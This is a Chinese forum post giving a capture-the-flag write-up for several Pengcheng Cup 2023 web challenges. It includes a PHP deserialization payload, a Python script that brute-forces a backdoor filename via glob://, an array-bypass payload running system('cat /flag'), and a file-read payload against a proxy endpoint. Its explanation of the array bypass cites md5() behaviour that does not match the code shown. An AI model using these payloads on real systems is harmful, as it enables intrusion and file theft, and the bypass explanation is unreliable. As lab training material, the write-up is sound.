鹏城杯2023部分题目

文档创建者:H李泽元
浏览次数:120
最后更新:2024-11-10
web1
这个是一个简单得反序列化题目,
$hacker = new Hacker();$h = new H();$h->username = $hacker;echo urlencode(serialize($h));
运行这个代码得到
payload:
Payload:O%3A1%3A%22H%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A6%3A%22Hacker%22%3A2%3A%7Bs%3A11%3A%22%00Hacker%00exp%22%3BN%3Bs%3A11%3A%22%00Hacker%00cmd%22%3BN%3B%7D%7D

我们url解码一下

Payload:O:1:"H":1:{s:8:"username";O:6:"Hacker":2:{s:11:"Hackerexp";N;s:11:"Hackercmd";N;}}

web2
glob协议爆破文件路径
这个题目首先发现一个backdoor_[a-f0-9]{16}.php 这个在html中,也就是说,存在一个文件名backdoor_这里是a-f+0-9拼接在后面,总数字16位,我们就需要写一个对应的脚本,来爆破一下这个php文件。
同时使用php协议glob,该协议是匹配获取文件列表的方式,可以在路径中使用通配符比如:
http://172.10.0.5/file=glob://*.txt

这里匹配字符串,我们进行爆破
burp0_url = "http://172.10.0.5:80/"dic = string.digits + string.ascii_lowercaseres = ""for length in range(40):    for i in dic:        burp0_data = {"filename": "glob://./backdoor_" + res + i + "*"}        r = requests.post(burp0_url, data=burp0_data)        if "failed to open dir" not in r.text and "False" not in r.text:            res += i            break    print(burp0_data)
猜测代码通过逐字符地构建可能存在的文件名,并通过 HTTP 请求验证这些猜测,试图找到特定的一个文件(这里是backdoor_*文件)。这是典型的目录遍历或文件包含攻击的一种实现方式,旨在检测服务器上是否存在某个特定文件。
爆破后得到文件:
/backdoor_00fbc51dcdf9eef767597fd26119a894.php

<?phphighlight_file(__FILE__);error_reporting(0);if(isset($_GET['username'])){    $sandbox = '/var/www/html/sandbox/'.md5("5050f6511ffb64e1914be4ca8b9d585c".$_GET['username']).'/';    mkdir($sandbox);    chdir($sandbox);        if(isset($_GET['title'])&&isset($_GET['data'])){        $data = $_GET['data'];        $title= $_GET['title'];        if (strlen($data)>5||strlen($title)>3){            die("no!no!no!");        }        file_put_contents($sandbox.$title,$data);        if (strlen(file_get_contents($title)) <= 10) {            system('php '.$sandbox.$title);        }        else{            system('rm '.$sandbox.$title);            die("no!no!no!");        }    }    else if (isset($_GET['reset'])) {        system('/bin/rm -rf ' . $sandbox);    }}?>
首先我们url中包含username参数,代码将创建一个新的目录,目录名称根据usernamemd5生成,这意味着每个用户名都会生成一个唯一的目录。  
mkdir($sandbox);        创建上述目录
chdir($sandbox);        切换到新建的目录中
下面处理title和data参数,如果data超过5个,或者title超过3个,则终止
使用file_put_contents将数据写入title为名的文件
然后读取刚刚创建的文件内容,如果文件内容的长度小于或等于10,则执行该PHP文件。  
如果文件内容长度超过10,则删除该文件并终止脚本。  
最后如果提供了reset参数,则在创建sandbox目录及其所有内容之前删除
这里我们需要构造一个东西,需要用到数组绕过,来绕过长度限制。最后的payload是这样的:
/backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=tel&title[]=x&data[]=<?php+system("cat+/flag");

这里直接将data的值带入进去,执行了系统命令,查看了flag文件
数组绕过说明:
无论是PHP弱比较还是强比较,md5()函数无法处理数组,如果传入的是数组,会返回NULL,两个数组经过加密后返回值均为NULL,形成相等。
Web-HTTP
开始的一个网站,框架扫描时SpringBoot框架,这里可以使用SpringScan进行扫描。
扫描到敏感接口,/swagger-ui/index.html
点击得到一个api-docs路由文件,
{"openapi":"3.0.3","info":{"title":"Challenge","description":"Proxy API","version":"1.0"},"servers":[{"url":"http://172.10.0.3:8080","description":"Inferred Url"}],"tags":[{"name":"Proxy","description":"Proxy Controller"}],"paths":{"/proxy/url":{"get":{"tags":["Proxy"],"summary":"proxy for the url which submitted by user","operationId":"proxyUsingGET","parameters":[{"name":"url","in":"query","description":"url","required":false,"style":"form","schema":{"type":"string"}}],"responses":{"200":{"description":"OK","content":{"*/*":{"schema":{"type":"string","format":"byte"}}}},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}}}}},"components":{}}
测试路由,发现存在文件包含,那么就可以利用伪协议进行利用
/proxy/url?url=url:file:///flag%23.html

此处截断绕过


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x

本版积分规则